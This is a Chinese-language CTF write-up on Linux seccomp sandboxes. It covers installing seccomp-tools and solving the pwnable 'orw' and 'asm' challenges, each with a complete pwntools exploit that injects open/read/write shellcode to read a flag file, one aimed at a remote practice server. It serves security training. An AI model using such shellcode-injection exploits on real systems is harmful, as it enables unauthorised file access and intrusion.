Pwn 之 沙箱机制

2022-04-25
  1. 0x00:简介
  2. 0x01:检测工具 – seccomp-tools
  3. 0x02:例题 – Pwnable_orw
  4. 0x03:例题 – Pwnable_asm

0x00:简介

沙箱机制,英文sandbox,是计算机领域的虚拟技术,常见于安全方向。一般说来,我们会将不受信任的软件放在沙箱中运行,一旦该软件有恶意行为,则禁止该程序的进一步运行,不会对真实系统造成任何危害。

​ 安全计算模式seccomp(Secure Computing Mode)在Linux2.6.10之后引入到kernel的特性,可用其实现一个沙箱环境。使用seccomp模式可以定义系统调用白名单和黑名单。seccomp机制用于限制应用程序可以使用的系统调用,增加系统的安全性。

在ctf中主要通过两种方式实现沙箱机制:


0x01:检测工具 – seccomp-tools

安装:
sudo apt install gcc ruby-dev
sudo gem install seccomp-tools
使用:

img


0x02:例题 – Pwnable_orw

通过checksec可以看出其架构,远程的也是这个。

如果使用shellcraft、asm模块,要配置相对应的架构,可以通过context.binary = "./xxx"自动地完成配置。

img


seccomp-tools dump ./orw检查被限制的系统调用:

允许的函数主要有open、read、write系统调用函数,用这个函数读取flag。

img


用32位的IDA打开进行分析:

img

没有数据段不可执行保护,所以直接往bss里面写shellcode就可以了。通过shellcode写入后,后面第6行就进行执行了。

EXP:

from pwn import *
context.log_level = "debug"
context.binary = "./orw"

io = process("./orw")
#io = remote("node4.buuoj.cn",27178)
bss = 0x804A060

payload = shellcraft.open("flag")
payload += shellcraft.read(3,bss + 100, 100)
payload += shellcraft.write(1,bss + 100, 100)

io.recvuntil("Give my your shellcode:")
io.sendline(asm(payload))
print(io.recv())

0x03:例题 – Pwnable_asm

先用checksec工具检查架构和其保护机制,然后使用seccomp-tools工具检查受限制函数(这步是在打开IDA后,看到sandbox函数后进行的)。

img

从图可以看出,仅被允许的系统调用有:read()、write()、open()和exit()。(这个在IDA的注释里面也有说明~)


用64位IDA打开分析程序:

img

函数分析:

img


分析完程序,已经很明显了,和上一题一样。通过17行写入shellcode,然后21行会进行执行。EXP:

from pwn import *
context.log_level = 'debug'
context.binary = './asm'

#io = process("./asm")
io = remote("node4.buuoj.cn",26533)

addr = 0x41414000 + 0x100
payload = shellcraft.open("flag")
payload += shellcraft.read(3, addr, 0x30)
payload += shellcraft.write(1,addr, 0x30)

io.recvuntil("give me your x64 shellcode: ")
io.sendline(asm(payload))
print(io.recv())

返回首页